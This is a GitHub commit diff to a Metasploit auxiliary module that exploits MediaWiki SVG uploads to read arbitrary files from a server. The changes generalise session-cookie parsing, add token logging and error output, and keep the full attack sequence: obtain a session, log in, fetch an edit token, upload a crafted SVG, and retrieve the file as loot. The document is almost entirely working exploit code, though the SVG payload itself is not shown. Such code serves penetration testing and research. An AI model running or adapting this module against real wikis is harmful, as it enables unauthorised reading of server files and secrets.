Skip to content

Commit a6be72b

Browse files
committed
fixes for mediawiki aux module
1 parent 7fdf84a commit a6be72b

File tree

1 file changed

+38
-21
lines changed

1 file changed

+38
-21
lines changed

modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb

Lines changed: 38 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,9 @@ def initialize
2323
be configured to accept upload of SVG files. If anonymous uploads are allowed the
2424
username and password aren't required, otherwise they are. This module has been
2525
tested successfully on MediaWiki 1.19.4 and Ubuntu 10.04.
26+
The following MediaWiki requirements must be met: File upload must be enabled,
27+
$wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something
28+
other than 'false'.
2629
},
2730
'References' =>
2831
[
@@ -32,8 +35,9 @@ def initialize
3235
],
3336
'Author' =>
3437
[
35-
'Daniel Franke', # Vulnerability discovery and PoC
36-
'juan vazquez' # Metasploit module
38+
'Daniel Franke', # Vulnerability discovery and PoC
39+
'juan vazquez', # Metasploit module
40+
'Christian Mehlmauer' # Metasploit module
3741
],
3842
'License' => MSF_LICENSE
3943
)
@@ -69,8 +73,8 @@ def get_first_session
6973
}
7074
})
7175

72-
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /my_wiki_session=([a-f0-9]*)/
73-
return $1
76+
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /([^\s]*session)=([a-z0-9]+)/
77+
return $1,$2
7478
else
7579
return nil
7680
end
@@ -84,7 +88,7 @@ def get_login_token
8488
"title" => "Special:UserLogin",
8589
"returnto" => "Main+Page"
8690
},
87-
'cookie' => "my_wiki_session=#{@first_session}"
91+
'cookie' => session_cookie
8892
})
8993

9094
if res and res.code == 200 and res.body =~ /name="wpLoginToken" value="([a-f0-9]*)"/
@@ -98,12 +102,14 @@ def get_login_token
98102
def parse_auth_cookie(cookies)
99103
cookies.split(";").each do |part|
100104
case part
101-
when /my_wikiUserID=(.*)/
102-
@wiki_user_id = $1
103-
when /my_wikiUserName=(.*)/
104-
@my_wiki_user_name = $1
105-
when /my_wiki_session=(.*)/
106-
@my_wiki_session = $1
105+
when /([^\s]*UserID)=(.*)/
106+
@wiki_user_id_name = $1
107+
@wiki_user_id = $2
108+
when /([^\s]*UserName)=(.*)/
109+
@wiki_user_name_name = $1
110+
@wiki_user_name = $2
111+
when /session=(.*)/
112+
@wiki_session = $1
107113
else
108114
next
109115
end
@@ -112,9 +118,9 @@ def parse_auth_cookie(cookies)
112118

113119
def session_cookie
114120
if @user and @password
115-
return "my_wiki_session=#{@my_wiki_session}; my_wikiUserID=#{@wiki_user_id}; my_wikiUserName=#{@my_wiki_user_name}"
121+
return "#{@wiki_session_name}=#{@wiki_session}; #{@wiki_user_id_name}=#{@wiki_user_id}; #{@wiki_user_name_name}=#{@wiki_user_name}"
116122
else
117-
return "my_wiki_session=#{@first_session}"
123+
return "#{@wiki_session_name}=#{@wiki_session}"
118124
end
119125
end
120126

@@ -134,10 +140,10 @@ def authenticate
134140
"wpLoginToken" => @login_token,
135141
"returnto" => "Main+Page"
136142
},
137-
'cookie' => "my_wiki_session=#{@first_session}"
143+
'cookie' => session_cookie
138144
})
139145

140-
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /my_wikiUserID/
146+
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /UserID=/
141147
parse_auth_cookie(res.headers['Set-Cookie'])
142148
return true
143149
else
@@ -152,7 +158,7 @@ def get_edit_token
152158
'cookie' => session_cookie
153159
})
154160

155-
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /"editToken":"([0-9a-f]*)\+\\\\/
161+
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /<input id="wpEditToken" type="hidden" value="([0-9a-f]*)\+\\" name="wpEditToken" \/>/
156162
return $1
157163
else
158164
return nil
@@ -161,7 +167,6 @@ def get_edit_token
161167
end
162168

163169
def upload_file
164-
165170
entity = Rex::Text.rand_text_alpha_lower(3)
166171
@file_name = Rex::Text.rand_text_alpha_lower(4)
167172
svg_file = %Q|
@@ -198,6 +203,13 @@ def upload_file
198203
if res and res.code == 302 and res.headers['Location']
199204
return res.headers['Location']
200205
else
206+
# try to output the errormessage
207+
if res and res.body
208+
error = res.body.scan(/<div class="error">(.*?)<\/div>/m)[0]
209+
if error and error.size == 1
210+
print_error(error[0])
211+
end
212+
end
201213
return nil
202214
end
203215
end
@@ -217,13 +229,13 @@ def read_data
217229
end
218230

219231
def accessfile(rhost)
220-
221232
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
222-
@first_session = get_first_session
223-
if @first_session.nil?
233+
@wiki_session_name, @wiki_session = get_first_session
234+
if @wiki_session.nil?
224235
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
225236
return
226237
end
238+
vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
227239

228240
if @user and not @user.empty? and @password and not @password.empty?
229241
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
@@ -232,11 +244,15 @@ def accessfile(rhost)
232244
print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
233245
return
234246
end
247+
vprint_status("#{peer(rhost)} Logintoken: #{@login_token}")
235248

236249
if not authenticate
237250
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
238251
return
239252
end
253+
vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
254+
vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
255+
vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
240256
end
241257

242258
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
@@ -245,13 +261,15 @@ def accessfile(rhost)
245261
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
246262
return
247263
end
264+
vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}")
248265

249266
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
250267
@svg_uri = upload_file
251268
if @svg_uri.nil?
252269
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
253270
return
254271
end
272+
vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}")
255273

256274
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
257275
loot = read_data
@@ -276,4 +294,3 @@ def run_host(ip)
276294
end
277295

278296
end
279-

0 commit comments

Comments
 (0)